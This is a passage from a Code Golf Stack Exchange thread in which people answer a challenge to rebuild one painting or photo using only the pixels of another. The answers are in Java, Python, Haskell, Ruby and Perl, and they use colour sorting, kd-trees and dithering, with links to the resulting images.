Bulb?](https://codegolf.stackexchange.com/questions/34484/photomosaics-or-how-many-programmers-does-it-take-to-make-a-light-bulb) to produce this: <http://jsfiddle.net/eithe/J7jEk/43/> (pixel: 10x10) (this one eye near where mona lisa's eye is freaks me out) * ![mosaic](https://i.stack.imgur.com/LPxb6.png) [Answer] ## HSL nearest value with error propagation and dithering I've made minor adaptations to the code which I used for [my AllRGB images](http://allrgb.com/pjt33). This is designed to process 16 megapixel images with reasonable time and memory constraints, so it uses some data structure classes which aren't in the standard library; however, I've omitted those because there's already a lot of code here and this is the interesting code. For AllRGB I manually tune the wavelets which give priority to certain areas of the image; for this unguided usage, I'm picking one wavelet which assumes rule of thirds layout putting the main interest a third of the way down from the top. ![American Gothic with palette from Mona Lisa](https://i.stack.imgur.com/TDUnI.png) ![Mona Lisa with palette from American Gothic](https://i.stack.imgur.com/aetik.png) My favourite of the 36: ![River with palette from Mona Lisa](https://i.stack.imgur.com/P8QOC.png) [Full Cartesian product of (image, palette)](http://cheddarmonk.org/palswap/) ``` package org.cheddarmonk.graphics; import org.cheddarmonk.util.*; import java.awt.Point; import java.awt.image.*; import java.io.File; import java.util.Random; import javax.imageio.ImageIO; public class PaletteApproximator { public static void main(String[] args) throws Exception { // Adjust this to fine-tune for the areas which are most important. float[] waveletDefault = new float[] {0.5f, 0.333f, 0.5f, 0.5f, 1}; generateAndSave(args[0], args[1], args[2], waveletDefault); } private static void generateAndSave(String paletteFile, String fileIn, String fileOut, float[]... wavelets) throws Exception { BufferedImage imgIn = ImageIO.read(new File(fileIn)); int w = imgIn.getWidth(), h = imgIn.getHeight(); int[] buf = new int[w * h]; imgIn.getRGB(0, 0, w, h, buf, 0, w); SimpleOctTreeInt palette = loadPalette(paletteFile); generate(palette, buf, w, h, wavelets); // Masks for R, G, B, A. final int[] off = new int[]{0xff0000, 0xff00, 0xff, 0xff000000}; // The corresponding colour model. ColorModel colourModel = ColorModel.getRGBdefault(); DataBufferInt dbi = new DataBufferInt(buf, buf.length); Point origin = new Point(0, 0); WritableRaster raster = Raster.createPackedRaster(dbi, w, h, w, off, origin); BufferedImage imgOut = new BufferedImage(colourModel, raster, false, null); ImageIO.write(imgOut, "PNG", new File(fileOut)); } private static SimpleOctTreeInt loadPalette(String paletteFile) throws Exception { BufferedImage img = ImageIO.read(new File(paletteFile)); int w = img.getWidth(), h = img.getHeight(); int[] buf = new int[w * h]; img.getRGB(0, 0, w, h, buf, 0, w); // Parameters tuned for 4096x4096 SimpleOctTreeInt octtree = new SimpleOctTreeInt(0, 1, 0, 1, 0, 1, 16, 12); for (int i = 0; i < buf.length; i++) { octtree.add(buf[i], transform(buf[i])); } return octtree; } private static void generate(SimpleOctTreeInt octtree, int[] buf, int w, int h, float[]... wavelets) { int m = w * h; LeanBinaryHeapInt indices = new LeanBinaryHeapInt(); Random rnd = new Random(); for (int i = 0; i < m; i++) { float x = (i % w) / (float)w, y = (i / w) / (float)w; float weight = 0; for (float[] wavelet : wavelets) { weight += wavelet[4] * Math.exp(-Math.pow((x - wavelet[0]) / wavelet[2], 2) - Math.pow((y - wavelet[1]) / wavelet[3], 2)); } // Random element provides some kind of dither indices.insert(i, -weight + 0.2f * rnd.nextFloat()); } // Error diffusion buffers. float[] errx = new float[m], erry = new float[m], errz = new float[m]; for (int i = 0; i < m; i++) { int idx = indices.pop(); int x = idx % w, y = idx / w; // TODO Bicubic interpolation? For the time being, prefer to scale the input image externally... float[] tr = transform(buf[x + w * y]); tr[0] += errx[idx]; tr[1] += erry[idx]; tr[2] += errz[idx]; int pixel = octtree.nearestNeighbour(tr, 2); buf[x + y * w] = 0xff000000 | pixel; // Don't reuse pixels. float[] trPix = transform(pixel); boolean ok = octtree.remove(pixel, trPix); if (!ok) throw new IllegalStateException("Failed to remove from octtree"); // Propagate error in 4 directions, not caring whether or not we've already done that pixel. // This will lose some error, but that might be a good thing. float dx = (tr[0] - trPix[0]) / 4, dy = (tr[1] - trPix[1]) / 4, dz = (tr[2] - trPix[2]) / 4; if (x > 0) { errx[idx - 1] += dx; erry[idx - 1] += dy; errz[idx - 1] += dz; } if (x < w - 1) { errx[idx + 1] += dx; erry[idx + 1] += dy; errz[idx + 1] += dz; } if (y > 0) { errx[idx - w] += dx; erry[idx - w] += dy; errz[idx - w] += dz; } if (y < h - 1) { errx[idx + w] += dx; erry[idx + w] += dy; errz[idx + w] += dz; } } } private static final float COS30 = (float)Math.sqrt(3) / 2; private static float[] transform(int rgb) { float r = ((rgb >> 16) & 0xff) / 255.f; float g = ((rgb >> 8) & 0xff) / 255.f; float b = (rgb & 0xff) / 255.f; // HSL cone coords float cmax = (r > g) ? r : g; if (b > cmax) cmax = b; float cmin = (r < g) ? r : g; if (b < cmin) cmin = b; float[] cone = new float[3]; cone[0] = (cmax + cmin) / 2; cone[1] = 0.5f * (1 + r - (g + b) / 2); cone[2] = 0.5f * (1 + (g - b) * COS30); return cone; } } ``` [Answer] # Python Not pretty codewise, nor by results. ``` from blist import blist from PIL import Image import random def randpop(colors): j = random.randrange(len(colors)) return colors.pop(j) colors = blist(Image.open('in1.png').getdata()) random.shuffle(colors) target = Image.open('in2.png') out = target.copy() data = list(list(i) for i in out.getdata()) assert len(data) == len(colors) w, h = out.size coords = [] for i in xrange(h): for j in xrange(w): coords.append((i, j)) # Adjust color balance dsum = [sum(d[i] for d in data) for i in xrange(3)] csum = [sum(c[i] for c in colors) for i in xrange(3)] adjust = [(csum[i] - dsum[i]) // len(data) for i in xrange(3)] for i, j in coords: for k in xrange(3): data[i*w + j][k] += adjust[k] random.shuffle(coords) # larger value here gives better results but take longer choose = 100 threshold = 10 done = set() while len(coords): if not len(coords) % 1000: print len(coords) // 1000 i, j = coords.pop() ind = i*w + j done.add(ind) t = data[ind] dmin = 255*3 kmin = 0 choices = [] while colors and len(choices) < choose: k = len(choices) choices.append(randpop(colors)) c = choices[-1] d = sum(abs(t[l] - c[l]) for l in xrange(3)) if d < dmin: dmin = d kmin = k if d < threshold: break c = choices.pop(kmin) data[ind] = c colors.extend(choices) # Push the error to nearby pixels for dithering if ind + 1 < len(data) and ind + 1 not in done: ind2 = ind + 1 elif ind + w < len(data) and ind + w not in done: ind2 = ind + w elif ind > 0 and ind - 1 not in done: ind2 = ind - 1 elif ind - w > 0 and ind - w not in done: ind2 = ind - w else: ind2 = None if ind2 is not None: for k in xrange(3): err = abs(t[k] - c[k]) data[ind2][k] += err out.putdata(data) out.save('out.png') ``` Possible improvements: * smarter color correction? * better quality metric? * push the error to all surrounding pixels rather than one Ugly (1->2): ![1->2](https://i.stack.imgur.com/VhaTb.png) A bit better (2->1): ![2->1](https://i.stack.imgur.com/C0p32.png) Decent (2->3): ![2->3](https://i.stack.imgur.com/nhAIw.png) Like a bad raytracer (3->4): ![3->4](https://i.stack.imgur.com/P2Y71.png) Cheating – use all the good pixels on the upper half and claim paint ran out: ![1->2](https://i.stack.imgur.com/WrpgC.png) [Answer] # Python (using kd-tree and luminosity) Nice challenge. I decided to go with a kd-tree approach. So the basic idea behind using a kd-tree approach is that it divides the colors and the luminosity according to their presence in the picture. So for the kd-tree the first sort is based on the red. It splits all the colors in to two approximately equal groups of reds (light red and dark red). Next it splits these two partitions along the greens. Next blue and then luminosity and then red again. And so on until the tree has been built. In this approach I built a kd-tree for the source image and the destination image. After that I mapped the tree from the source to the destination and overwrite the color data of the destination file. All of the results are shown [here](https://i.stack.imgur.com/K8M6N.jpg). ## Some examples: ### Mona Lisa -> American Gothic ![mona_lisa](https://i.stack.imgur.com/e1Nlw.png) ![american gothic (mona_lisa style)](https://i.stack.imgur.com/of1qK.png) ### American Gothic -> Mona Lisa ![american gothic](https://i.stack.imgur.com/vvCRd.png) ![mona_lisa (american gothic style)](https://i.stack.imgur.com/UDpGs.png) ### Starry Night --> The Scream ![starry night](https://i.stack.imgur.com/5src7.png) ![starry scream](https://i.stack.imgur.com/S6oMV.png) ### The Scream --> Starry Night ![scream](https://i.stack.imgur.com/asIx8.png) ![screamy stars](https://i.stack.imgur.com/YiDN7.png) ### Rainbow spheres ![enter image description here](https://i.stack.imgur.com/JdKQP.png) ![mona lisa balls](https://i.stack.imgur.com/p8RPV.png) ![screamy balls](https://i.stack.imgur.com/IA5EZ.png) Here is short movie using @Calvin's Hobbies movie frame maker: ![enter image description here](https://i.stack.imgur.com/EwWqF.gif) And now for the code :-) ``` from PIL import Image """ Computation of hue, saturation, luminosity. Based on http://stackoverflow.com/questions/3732046/how-do-you-get-the-hue-of-a-xxxxxx-colour """ def rgbToLsh(t): r = t[0] g = t[1] b = t[2] r /= 255. g /= 255. b /= 255. vmax = max([r, g, b]) vmin = min([r, g, b]); h = s = l = (vmax + vmin) / 2.; if (vmax == vmin): h = s = 0. # achromatic else: d = vmax - vmin; if l > 0.5: s = d / (2. - vmax - vmin) else: s = d / (vmax + vmin); if vmax == r: if g<b: m = 6. else: m = 0. h = (g - b) / d + m elif vmax == g: h = (b - r) / d + 2. elif vmax == b: h = (r - g) / d + 4. h /= 6.; return [l,s,h]; """ KDTree implementation. Based on https://code.google.com/p/python-kdtree/ """ __version__ = "1r11.1.2010" __all__ = ["KDTree"] def square_distance(pointA, pointB): # squared euclidean distance distance = 0 dimensions = len(pointA) # assumes both points have the same dimensions for dimension in range(dimensions): distance += (pointA[dimension] - pointB[dimension])**2 return distance class KDTreeNode(): def __init__(self, point, left, right): self.point = point self.left = left self.right = right def is_leaf(self): return (self.left == None and self.right == None) class KDTreeNeighbours(): """ Internal structure used in nearest-neighbours search. """ def __init__(self, query_point, t): self.query_point = query_point self.t = t # neighbours wanted self.largest_distance = 0 # squared self.current_best = [] def calculate_largest(self): if self.t >= len(self.current_best): self.largest_distance = self.current_best[-1][1] else: self.largest_distance = self.current_best[self.t-1][1] def add(self, point): sd = square_distance(point, self.query_point) # run through current_best, try to find appropriate place for i, e in enumerate(self.current_best): if i == self.t: return # enough neighbours, this one is farther, let's forget it if e[1] > sd: self.current_best.insert(i, [point, sd]) self.calculate_largest() return # append it to the end otherwise self.current_best.append([point, sd]) self.calculate_largest() def get_best(self): return [element[0] for element in self.current_best[:self.t]] class KDTree(): """ KDTree implementation. Example usage: from kdtree import KDTree data = <load data> # iterable of points (which are also iterable, same length) point = <the point of which neighbours we're looking for> tree = KDTree.construct_from_data(data) nearest = tree.query(point, t=4) # find nearest 4 points """ def __init__(self, data): self.data_listing = [] def build_kdtree(point_list, depth): # code based on wikipedia article: http://en.wikipedia.org/wiki/Kd-tree if not point_list: return None # select axis based on depth so that axis cycles through all valid values axis = depth % 4 #len(point_list[0]) # assumes all points have the same dimension # sort point list and choose median as pivot point, # TODO: better selection method, linear-time selection, distribution point_list.sort(key=lambda point: point[axis]) median = len(point_list)/2 # choose median # create node and recursively construct subtrees node = KDTreeNode(point=point_list[median], left=build_kdtree(point_list[0:median], depth+1), right=build_kdtree(point_list[median+1:], depth+1)) # add point to listing self.data_listing.append(point_list[median]) return node self.root_node = build_kdtree(data, depth=0) @staticmethod def construct_from_data(data): tree = KDTree(data) return tree def query(self, query_point, t=1): statistics = {'nodes_visited': 0, 'far_search': 0, 'leafs_reached': 0} def nn_search(node, query_point, t, depth, best_neighbours): if node == None: return #statistics['nodes_visited'] += 1 # if we have reached a leaf, let's add to current best neighbours, # (if it's better than the worst one or if there is not enough neighbours) if node.is_leaf(): #statistics['leafs_reached'] += 1 best_neighbours.add(node.point) return # this node is no leaf # select dimension for comparison (based on current depth) axis = depth % len(query_point) # figure out which subtree to search near_subtree = None # near subtree far_subtree = None # far subtree (perhaps we'll have to traverse it as well) # compare query_point and point of current node in selected dimension # and figure out which subtree is farther than the other if query_point[axis] < node.point[axis]: near_subtree = node.left far_subtree = node.right else: near_subtree = node.right far_subtree = node.left # recursively search through the tree until a leaf is found nn_search(near_subtree, query_point, t, depth+1, best_neighbours) # while unwinding the recursion, check if the current node # is closer to query point than the current best, # also, until t points have been found, search radius is infinity best_neighbours.add(node.point) # check whether there could be any points on the other side of the # splitting plane that are closer to the query point than the current best if (node.point[axis] - query_point[axis])**2 < best_neighbours.largest_distance: #statistics['far_search'] += 1 nn_search(far_subtree, query_point, t, depth+1, best_neighbours) return # if there's no tree, there's no neighbors if self.root_node != None: neighbours = KDTreeNeighbours(query_point, t) nn_search(self.root_node, query_point, t, depth=0, best_neighbours=neighbours) result = neighbours.get_best() else: result = [] #print statistics return result #List of files: files = ['JXgho.png','N6IGO.png','c5jq1.png','itzIe.png','xPAwA.png','y2VZJ.png'] #Loop over source files for im_orig in range(len(files)): srch = Image.open(files[im_orig]) #Open file handle src = srch.load(); #Load file # Build data structure (R,G,B,lum,xpos,ypos) for source file srcdata = [(src[i,j][0],src[i,j][1],src[i,j][2],rgbToLsh(src[i,j])[0],i,j) \ for i in range(srch.size[0]) \ for j in range(srch.size[1])] # Build kd-tree for source srctree = KDTree.construct_from_data(srcdata) for im in range(len(files)): desh = Image.open(files[im]) des = desh.load(); # Build data structure (R,G,B,lum,xpos,ypos) for destination file desdata = [(des[i,j][0],des[i,j][1],des[i,j][2],rgbToLsh(des[i,j]),i,j) \ for i in range(desh.size[0]) \ for j in range(desh.size[1])] # Build kd-tree for destination destree = KDTree.construct_from_data(desdata) # Switch file mode desh.mode = srch.mode for k in range(len(srcdata)): # Get locations from kd-tree sorted data i = destree.data_listing[k][-2] j = destree.data_listing[k][-1] i_s = srctree.data_listing[k][-2] j_s = srctree.data_listing[k][-1] # Overwrite original colors with colors from source file des[i,j] = src[i_s,j_s] # Save to disk desh.save(files[im_orig].replace('.','_'+`im`+'.')) ``` [Answer] # Python Just to keep the ball rolling, here's my own simple and painfully slow answer. ``` import Image def countColors(image): colorCounts = {} for color in image.getdata(): if color in colorCounts: colorCounts[color] += 1 else: colorCounts[color] = 1 return colorCounts def colorDist(c1, c2): def ds(c1, c2, i): return (c1[i] - c2[i])**2 return (ds(c1, c2, 0) + ds(c1, c2, 1) + ds(c1, c2, 2))**0.5 def findClosestColor(palette, color): closest = None minDist = (3*255**2)**0.5 for c in palette: dist = colorDist(color, c) if dist < minDist: minDist = dist closest = c return closest def removeColor(palette, color): if palette[color] == 1: del palette[color] else: palette[color] -= 1 def go(paletteFile, sourceFile): palette = countColors(Image.open(paletteFile).convert('RGB')) source = Image.open(sourceFile).convert('RGB') copy = Image.new('RGB', source.size) w, h = copy.size for x in range(w): for y in range(h): c = findClosestColor(palette, source.getpixel((x, y))) removeColor(palette, c) copy.putpixel((x, y), c) print x #print progress copy.save('copy.png') #the respective file paths go here go('../ag.png', '../r.png') ``` For each pixel in the source it looks for the unused pixel in the palette that is closest in the RGB color cube. It's basically the same as Quincunx's algorithm but with no randomness and a different color comparison function. You can tell I move from left to right since the right side of the image has far less detail due to the depletion of similar colors. River from American Gothic ![River from American Gothic](https://i.stack.imgur.com/LYBHr.png) Mona Lisa from Rainbow Spheres ![Mona Lisa from Rainbow Spheres](https://i.stack.imgur.com/Yhy3P.png) [Answer] ## Haskell I tried a few different approaches using nearest neighbor searches before settling on this solution (which was actually my first idea). I first convert the images' pixel formats to YCbCr and construct two lists containing their pixel data. Then, the lists are sorted giving precedence to luminance value. After that, I just replace the input image's sorted pixel list with the palette image's, and then resort it back to the original order and use it to construct a new image. ``` module Main where import System.Environment (getArgs) import System.Exit (exitSuccess, exitFailure) import System.Console.GetOpt (getOpt, ArgOrder(..), OptDescr(..), ArgDescr(..)) import Data.List (sortBy) import Codec.Picture import Codec.Picture.Types import qualified Data.Vector as V main :: IO () main = do (ioOpts, _) <- getArgs >>= getOpts opts <- ioOpts image <- loadImage $ imageFile opts palette <- loadImage $ paletteFile opts case swapPalette image palette of Nothing -> do putStrLn "Error: image and palette dimensions do not match" exitFailure Just img -> writePng (outputFile opts) img swapPalette :: Image PixelYCbCr8 -> Image PixelYCbCr8 -> Maybe (Image PixelRGB8) swapPalette img pal | area1 == area2 = let cmpCr (_, (PixelYCbCr8 _ _ r1)) (_, (PixelYCbCr8 _ _ r2)) = r1 `compare` r2 cmpCb (_, (PixelYCbCr8 _ c1 _)) (_, (PixelYCbCr8 _ c2 _)) = c1 `compare` c2 cmpY (_, (PixelYCbCr8 y1 _ _)) (_, (PixelYCbCr8 y2 _ _)) = y2 `compare` y1 w = imageWidth img h = imageHeight img imgData = sortBy cmpY $ sortBy cmpCr $ sortBy cmpCb $ zip [1 :: Int ..] $ getPixelList img palData = sortBy cmpY $ sortBy cmpCr $ sortBy cmpCb $ zip [1 :: Int ..] $ getPixelList pal newData = zipWith (\(n, _) (_, p) -> (n, p)) imgData palData pixData = map snd $ sortBy (\(n1, _) (n2, _) -> n1 `compare` n2) newData dataVec = V.reverse $ V.fromList pixData in Just $ convertImage $ generateImage (lookupPixel dataVec w h) w h | otherwise = Nothing where area1 = (imageWidth img) * (imageHeight img) area2 = (imageWidth pal) * (imageHeight pal) lookupPixel :: V.Vector PixelYCbCr8 -> Int -> Int -> Int -> Int -> PixelYCbCr8 lookupPixel vec w h x y = vec V.! i where i = flattenIndex w h x y getPixelList :: Image PixelYCbCr8 -> [PixelYCbCr8] getPixelList img = foldl (\ps (x, y) -> (pixelAt img x y):ps) [] coords where coords = [(x, y) | x <- [0..(imageWidth img) - 1], y <- [0..(imageHeight img) - 1]] flattenIndex :: Int -> Int -> Int -> Int -> Int flattenIndex _ h x y = y + (x * h) ------------------------------------------------- -- Command Line Option Functions ------------------------------------------------- getOpts :: [String] -> IO (IO Options, [String]) getOpts args = case getOpt Permute options args of (opts, nonOpts, []) -> return (foldl (>>=) (return defaultOptions) opts, nonOpts) (_, _, errs) -> do putStrLn $ concat errs printUsage exitFailure data Options = Options { imageFile :: Maybe FilePath , paletteFile :: Maybe FilePath , outputFile :: FilePath } defaultOptions :: Options defaultOptions = Options { imageFile = Nothing , paletteFile = Nothing , outputFile = "out.png" } options :: [OptDescr (Options -> IO Options)] options = [ Option ['i'] ["image"] (ReqArg setImage "FILE") "", Option ['p'] ["palette"] (ReqArg setPalette "FILE") "", Option ['o'] ["output"] (ReqArg setOutput "FILE") "", Option ['v'] ["version"] (NoArg showVersion) "", Option ['h'] ["help"] (NoArg exitPrintUsage) ""] setImage :: String -> Options -> IO Options setImage image opts = return $ opts { imageFile = Just image } setPalette :: String -> Options -> IO Options setPalette palette opts = return $ opts { paletteFile = Just palette } setOutput :: String -> Options -> IO Options setOutput output opts = return $ opts { outputFile = output } printUsage :: IO () printUsage = do putStrLn "Usage: repix [OPTION...] -i IMAGE -p PALETTE [-o OUTPUT]" putStrLn "Rearrange pixels in the palette file to closely resemble the given image." putStrLn "" putStrLn "-i, --image specify the image to transform" putStrLn "-p, --palette specify the image to use as the palette" putStrLn "-o, --output specify the output image file" putStrLn "" putStrLn "-v, --version display version information and exit" putStrLn "-h, --help display this help and exit" exitPrintUsage :: a -> IO Options exitPrintUsage _ = do printUsage exitSuccess showVersion :: a -> IO Options showVersion _ = do putStrLn "Pixel Rearranger v0.1" exitSuccess ------------------------------------------------- -- Image Loading Util Functions ------------------------------------------------- loadImage :: Maybe FilePath -> IO (Image PixelYCbCr8) loadImage Nothing = do printUsage exitFailure loadImage (Just path) = do rdImg <- readImage path case rdImg of Left err -> do putStrLn err exitFailure Right img -> getRGBImage img getRGBImage :: DynamicImage -> IO (Image PixelYCbCr8) getRGBImage dynImg = case dynImg of ImageYCbCr8 img -> return img ImageRGB8 img -> return $ convertImage img ImageY8 img -> return $ convertImage (promoteImage img :: Image PixelRGB8) ImageYA8 img -> return $ convertImage (promoteImage img :: Image PixelRGB8) ImageCMYK8 img -> return $ convertImage (convertImage img :: Image PixelRGB8) ImageRGBA8 img -> return $ convertImage (pixelMap dropTransparency img :: Image PixelRGB8) _ -> do putStrLn "Error: incompatible image type." exitFailure ``` **Results** The images my program produces tend to be less vivid than many of the other solutions, and it doesn't deal with large solid areas or gradients well. [Here is a link to the full album.](https://i.stack.imgur.com/hJnIx.jpg) **American Gothic -> Mona Lisa** ![](https://i.stack.imgur.com/JXgho.png) ![](https://i.stack.imgur.com/qnIug.png) **Mona Lisa -> American Gothic** ![](https://i.stack.imgur.com/N6IGO.png) ![](https://i.stack.imgur.com/shKfM.png) **Spheres -> Mona Lisa** ![](https://i.stack.imgur.com/UioNn.png) **The Scream -> Starry Night** ![](https://i.stack.imgur.com/5Ceuc.png) **The Scream -> Spheres** ![](https://i.stack.imgur.com/l3mBn.png) [Answer] ## Java Inspired by the previous java answer from Quincunx ``` package paletteswap; import java.awt.Point; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.BitSet; import java.util.Collections; import java.util.Comparator; import java.util.List; import javax.imageio.ImageIO; public class Test { public static class Bits { public static BitSet convert( int value ) { BitSet bits = new BitSet(); int index = 0; while ( value != 0L ) { if ( value % 2 != 0 ) { bits.set( index ); } ++index; value = value >>> 1; } return bits; } public static int convert( BitSet bits ) { int value = 0; for ( int i = 0; i < bits.length(); ++i ) { value += bits.get( i ) ? ( 1 << i ) : 0; } return value; } } public static void main( String[] args ) throws IOException { BufferedImage source = ImageIO.read( resource( "river.png" ) ); // My names // for the // files BufferedImage palette = ImageIO.read( resource( "farmer.png" ) ); BufferedImage result = rearrange( source, palette ); ImageIO.write( result, "png", resource( "result.png" ) ); } public static BufferedImage rearrange( BufferedImage source, BufferedImage palette ) { BufferedImage result = new BufferedImage( source.getWidth(), source.getHeight(), BufferedImage.TYPE_INT_RGB ); // This creates a list of points in the Source image. // Then, we shuffle it and will draw points in that order. List<Point> samples = getPoints( source.getWidth(), source.getHeight() ); Collections.sort( samples, new Comparator<Point>() { @Override public int compare( Point o1, Point o2 ) { int c1 = getRGB( source, o1.x, o1.y ); int c2 = getRGB( source, o2.x, o2.y ); return c1 -c2; } } ); // Create a list of colors in the palette. List<Integer> colors = getColors( palette ); while ( !samples.isEmpty() ) { Point currentPoint = samples.remove( 0 ); int sourceAtPoint = getRGB( source, currentPoint.x, currentPoint.y ); int colorIndex = binarySearch( colors, sourceAtPoint ); int bestColor = colors.remove( colorIndex ); setRGB( result, currentPoint.x, currentPoint.y, bestColor ); } return result; } public static int unpack( int rgbPacked ) { BitSet packed = Bits.convert( rgbPacked ); BitSet rgb = Bits.convert( 0 ); for (int i=0; i<8; i++) { rgb.set( i, packed.get( i*3 ) ); rgb.set( i+16, packed.get( i*3+1 ) ); rgb.set( i+8, packed.get( i*3+2 ) ); } return Bits.convert( rgb); } public static int pack( int rgb ) { int myrgb = rgb & 0x00FFFFFF; BitSet bits = Bits.convert( myrgb ); BitSet packed = Bits.convert( 0 ); for (int i=0; i<8; i++) { packed.set( i*3, bits.get( i ) ); packed.set( i*3+1, bits.get( i+16 ) ); packed.set( i*3+2, bits.get( i+8 ) ); } return Bits.convert( packed); } public static int getRGB( BufferedImage image, int x, int y ) { return pack( image.getRGB( x, y ) ); } public static void setRGB( BufferedImage image, int x, int y, int color ) { image.setRGB( x, y, unpack( color ) ); } public static List<Point> getPoints( int width, int height ) { List<Point> points = new ArrayList<>( width * height ); for ( int x = 0; x < width; x++ ) { for ( int y = 0; y < height; y++ ) { points.add( new Point( x, y ) ); } } return points; } public static List<Integer> getColors( BufferedImage img ) { int width = img.getWidth(); int height = img.getHeight(); List<Integer> colors = new ArrayList<>( width * height ); for ( int x = 0; x < width; x++ ) { for ( int y = 0; y < height; y++ ) { colors.add( getRGB( img, x, y ) ); } } Collections.sort( colors ); return colors; } public static int binarySearch( List<Integer> toSearch, int obj ) { int index = toSearch.size() >> 1; for ( int guessChange = toSearch.size() >> 2; guessChange > 0; guessChange >>= 1 ) { int value = toSearch.get( index ); if ( obj == value ) { return index; } else if ( obj < value ) { index -= guessChange; } else { index += guessChange; } } return index; } public static File resource( String fileName ) { // This method is here solely // for my ease of use (I put // the files under <Project // Name>/Resources/ ) return new File( System.getProperty( "user.home" ) + "/pictureswap/" + fileName ); } } ``` ## Mona lisa -> Farmers ![enter image description here](https://i.stack.imgur.com/1jSRd.png) What is does it sorts the points that need to be replaced by they intensity, instead of random. [Answer] # Ruby ## Overview: Really simple approach, but seems to get pretty good results: 1. Take the palette and target, sort their pixels both by some function; call these the "reference" arrays. I've chosen to sort by HSLA, but preferring Luminance to Saturation to Hue (aka "LSHA") 2. Make the output image by iterating over each pixel of the target image, finding where it gets sorted to in the target reference array, and taking the pixel from the palette which got sorted to the same index in the palette reference array. ## Code: ``` require 'rubygems' require 'chunky_png' require 'rmagick' # just for the rgba => hsla converter, feel free to use something lighter-weight you have on hand def pixel_array_for_image(image) # [r, b, g, a] image.pixels.map{|p| ChunkyPNG::Color.to_truecolor_alpha_bytes(p)} end def sorted_pixel_references(pixel_array) pixel_array.map{|a| yield(a)}.map.with_index.sort_by(&:first).map(&:last) end def sort_by_lsha(pixel_array) sorted_pixel_references(pixel_array) {|p| # feel free to drop in any sorting function you want here! hsla = Magick::Pixel.new(*p).to_hsla # [h, s, l, a] [hsla[2], hsla[1], hsla[0], hsla[3]] } end def make_target_out_of_palette(target_filename, palette_filename, output_filename) puts "making #{target_filename} out of #{palette_filename}" palette = ChunkyPNG::Image.from_file(palette_filename) target = ChunkyPNG::Image.from_file(target_filename) puts " loaded images" palette_array = pixel_array_for_image(palette) target_array = pixel_array_for_image(target) puts " have pixel arrays" palette_spr = sort_by_lsha(palette_array) target_spr = sort_by_lsha(target_array) puts " have sorted-pixel reference arrays" output = ChunkyPNG::Image.new(target.dimension.width, target.dimension.height, ChunkyPNG::Color::TRANSPARENT) (0...target_array.count).each { |index| spr_index = target_spr.index(index) index_in_palette = palette_spr[spr_index] palette_pixel = palette_array[index_in_palette] index_as_x = (index % target.dimension.width) index_as_y = (index / target.dimension.width) output[index_as_x, index_as_y] = ChunkyPNG::Color.rgba(*palette_pixel) } output.save(output_filename) puts " saved to #{output_filename}" end palette_filename, target_filename, output_filename = ARGV make_target_out_of_palette(target_filename, palette_filename, output_filename) ``` ## Results: <https://i.stack.imgur.com/Wo63Q.jpg> ## Highlights: ![Starry Night made from Scream](https://i.stack.imgur.com/3v816.png) ![American Gothic made from Mona Lisa](https://i.stack.imgur.com/ENGan.png) ![Mona Lisa made from the river photo](https://i.stack.imgur.com/MMMSv.png) ![The river photo made from Starry Night](https://i.stack.imgur.com/Mza23.png) [Answer] # Perl Here is a rather simplistic approach. It takes about five seconds to generate 100 frames per image pair on [my MacBook Pro](http://blog.nu42.com/2014/06/did-i-really-need-to-put-ssd-in-my.html) with a memory footprint of about 120 MB. The idea is to sort the pixels in both and palette images by 24-bit packed RGB, and replace colors in the source with colors from the palette sequentially. ``` #!/usr/bin/env perl use 5.020; # just because use strict; use warnings; use Const::Fast; use GD; GD::Image->trueColor(1); use Path::Class; const my $COLOR => 0; const my $COORDINATES => 1; const my $RGB => 2; const my $ANIMATION_FRAMES => 100; const my %MASK => ( RED => 0x00ff0000, GREEN => 0x0000ff00, BLUE => 0x000000ff, ); run(@ARGV); sub run { unless (@_ == 2) { die "Need source and palette images\n"; } my $source_file = file(shift)->resolve; my $palette_file = file(shift)->resolve; my $source = GD::Image->new("$source_file") or die "Failed to create source image from '$source_file'"; my $palette = GD::Image->new("$palette_file") or die "Failed to create palette image from '$palette_file'"; my %source = map { $_ => $source->$_ } qw(width height); my %palette = map { $_ => $palette->$_ } qw(width height); my ($frame_prefix) = ($source_file->basename =~ /\A([^.]+)/); unless ( (my $source_area = $source{width} * $source{height}) <= (my $palette_area = $palette{width} * $source{height}) ) { die "Source area ($source_area) is greater than palette area ($palette_area)"; } my ($last_frame, $png) = recreate_source_image_from_palette( \%source, get_source_pixels( get_pixels_by_color($source, \%source) ), get_palette_colors( get_pixels_by_color($palette, \%palette) ), sub { save_frame($frame_prefix, @_) } ); save_frame($frame_prefix, $last_frame, $png); return; } sub save_frame { my $frame_prefix = shift; my $frame = shift; my $png = shift; file( sprintf("${frame_prefix}-%d.png", $frame) )->spew(iomode => '>:raw', $$png); return; } sub recreate_source_image_from_palette { my $dim = shift; my $source_pixels = shift; my $palette_colors = shift; my $callback = shift; my $frame = 0; my %colors; $colors{$_} = undef for @$palette_colors; my $gd = GD::Image->new($dim->{width}, $dim->{height}, 1); for my $x (keys %colors) { $colors{$x} = $gd->colorAllocate(unpack_rgb($x)); } my $period = sprintf '%.0f', @$source_pixels / $ANIMATION_FRAMES; for my $i (0 .. $#$source_pixels) { $gd->setPixel( @{ $source_pixels->[$i] }, $colors{ $palette_colors->[$i] } ); if ($i % $period == 0) { $callback->($frame, \ $gd->png); $frame += 1; } } return ($frame, \ $gd->png); } sub get_palette_colors { [ map sprintf('%08X', $_->[$COLOR]), @{ $_[0] } ] } sub get_source_pixels { [ map $_->[$COORDINATES], @{ $_[0] } ] } sub get_pixels_by_color { my $gd = shift; my $dim = shift; return [ sort { $a->[$COLOR] <=> $b->[$COLOR] } map { my $y = $_; map { [ pack_rgb( $gd->rgb( $gd->getPixel($_, $y) ) ), [$_, $y] ]; } 0 .. $dim->{width} } 0 .. $dim->{height} ]; } sub pack_rgb { $_[0] << 16 | $_[1] << 8 | $_[2] } sub unpack_rgb { my ($r, $g, $b) = map $MASK{$_} & hex($_[0]), qw(RED GREEN BLUE); return ($r >> 16, $g >> 8, $b); } ``` ### Output Scream using Starry Night palette ![Scream using Starry Night palette](https://i.stack.imgur.com/9cqZp.png) American Gothic using Mona Lisa colors ![American Gothic using Mona Lisa colors](https://i.stack.imgur.com/XPezI.png) Mona Lisa using Scream colors ![Mona Lisa using Scream colors](https://i.stack.imgur.com/TF8DC.png) River using Marbles colors ![River using Marbles colors](https://i.stack.imgur.com/yUman.png) ### Animations I was lazy, so I put the animations on YouTube: [Mona Lisa using colors from Starry Night](https://www.youtube.com/watch?v=ValfLKKx8cM) and [American Gothic using colors from Mona 